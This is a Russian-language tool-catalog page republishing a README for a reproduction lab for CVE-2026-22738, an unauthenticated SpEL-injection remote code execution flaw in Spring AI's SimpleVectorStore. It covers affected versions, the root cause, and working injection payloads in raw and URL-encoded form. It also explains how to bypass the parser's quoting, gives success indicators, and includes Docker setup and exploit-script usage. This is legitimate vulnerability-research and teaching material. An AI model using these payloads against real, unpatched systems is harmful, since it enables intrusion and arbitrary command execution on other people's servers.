Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-22738 — SpEL-инъекция через неэкранированный ключ фильтра в SimpleVectorStore приводит к удалённому выполнению кода | Kitploit
Инструменты/GitHubGitHub/rockmelodies/cve-2026-22738
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеРазработка Полезной НагрузкиТроян Удаленного Доступа
GitHubrockmelodies/cve-2026-22738

CVE-2026-22738

SpEL-инъекция через неэкранированный ключ фильтра в SimpleVectorStore приводит к удалённому выполнению кода

Репозиторий
2165 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Среда воспроизведения CVE-2026-22738

img.png

Описание уязвимости

CVE-2026-22738 — это уязвимость внедрения SpEL (Spring Expression Language) в Spring AI SimpleVectorStore, которая может привести к неаутентифицированному удалённому выполнению кода (RCE).

Затронутые версии

АртефактЗатронутые версииИсправленная версия
org.springframework.ai:spring-ai-core1.0.0 – 1.0.41.0.5
org.springframework.ai:spring-ai-core1.1.0-M1 – 1.1.31.1.4

Примечание: В этом проекте для воспроизведения уязвимости используется официальная версия spring-ai-core:1.0.0.

Исправляющий коммит: ba9220b22383e430d5f801ce8e4fa01cf9e75f29

Принцип уязвимости

Метод SimpleVectorStore.similaritySearch() передаёт имя ключа фильтра, предоставленное пользователем, в шаблон SpEL без изменений, и оно вычисляется с помощью StandardEvaluationContext. Поскольку StandardEvaluationContext предоставляет полный доступ к API рефлексии JVM, злоумышленник может внедрить:

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec(...)

Добавление ключа фильтра приводит к неаутентифицированному выполнению команд операционной системы.

Воспроизведение уязвимости

Используйте следующий payload, обратите внимание, что необходимо выполнить однократное URL-кодирование

root@kitploit:~
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"

%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22

Передайте payload в параметр filterKey — успешно откроется калькулятор img_1.png

Детали обхода

Простой метод внедрения не сработает напрямую — необходимо преодолеть две особенности парсера:

  1. Удаление одинарных кавычек — ключ, начинающийся с одинарной кавычки ', рассматривается как строка в кавычках; внешние кавычки удаляются, что нарушает полезную нагрузку.

  2. Обёртка из двойных кавычек — оборачивание полезной нагрузки в двойные кавычки "..." приводит к тому, что парсер удаляет внешние двойные кавычки, сохраняя внутреннее SpEL-выражение как значение ключа, передаваемое парсеру #metadata['<KEY>'].

  3. Пустой ключ метаданных — использование #metadata[''] с обеих сторон внедряемого выражения (вместо неопределённой переменной) позволяет избежать ошибки SpEL unknown variable, при этом всё равно вызывая exec().

Вычисляемое выражение имеет следующий вид:

root@kitploit:~
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'

Индикаторы успеха

Тело HTTP-ответа будет содержать ошибку выполнения SpEL EL1030E:

root@kitploit:~
operator ADD not supported between null and java.lang.ProcessImpl

Эта ошибка возникает после возврата из exec(), что подтверждает выполнение команды на уровне ОС без необходимости внешнего обратного вызова.

Настройка окружения

Предварительные требования

  • Docker и Docker Compose
  • Python 3 + библиотека requests (pip install requests)

Сборка и запуск уязвимого окружения

root@kitploit:~
# Сборка и запуск контейнеров
docker compose up -d --build

# Просмотр логов
docker compose logs -f

Запуск скрипта эксплуатации

root@kitploit:~
# Установка зависимостей
pip install requests

# Запуск эксплуатации (ожидание запуска приложения)
python3 exploit.py --wait

# Или указание цели
python3 exploit.py --target http://localhost:8082 --wait

Описание параметров

ФлагЗначение по умолчаниюОписание
--targethttp://localhost:8082Базовый URL уязвимого приложения
--waitвыключенОжидание готовности цели (полезно после docker compose up)

Примечание: Docker Desktop (macOS/Windows) использует host.docker.internal для обратных вызовов, 127.0.0.1 для полезной нагрузки.

Шаги эксплуатации

Процесс проверки концепции состоит из пяти последовательных шагов:

  1. Базовая проверка — подтверждение доступности конечной точки и возврата начальных данных
  2. Слепой SpEL-зонд — подтверждение точки внедрения через чтение java.version с помощью T(java.lang.System)
  3. RCE: touch /tmp/pwned_cve_2026_22738 внутри контейнера
  4. RCE: запись вывода id // uname // hostname в /tmp/rce_proof.txt
  5. Проверка: вывод содержимого файла доказательства через docker exec

Структура проекта

root@kitploit:~
├── Dockerfile                    # Файл сборки Docker
├── docker-compose.yml            # Конфигурация Docker Compose
├── pom.xml                       # Конфигурация проекта Maven
├── settings.xml                  # Настройки Maven (включая репозитории Spring)
├── exploit.py                    # Скрипт эксплуатации
└── src/main/java/com/example/spelrce/
    ├── SpelRceLabApplication.java    # Главный класс Spring Boot
    ├── VulnController.java           # Уязвимый контроллер
    ├── VectorStoreConfig.java        # Конфигурация VectorStore
    └── DummyEmbeddingModel.java      # Имитация модели Embedding

Локальное тестирование (без Docker)

root@kitploit:~
# Компиляция проекта
mvn clean package -DskipTests

# Запуск приложения
java -jar target/spel-rce-lab-1.0.0.jar

# Запуск эксплуатации в другом терминале
python3 exploit.py --target http://localhost:8082

Справочные материалы

  • CVE-2026-22738
  • Исправляющий коммит Spring AI
  • Оригинальный PoC-проект
Скачать инструмент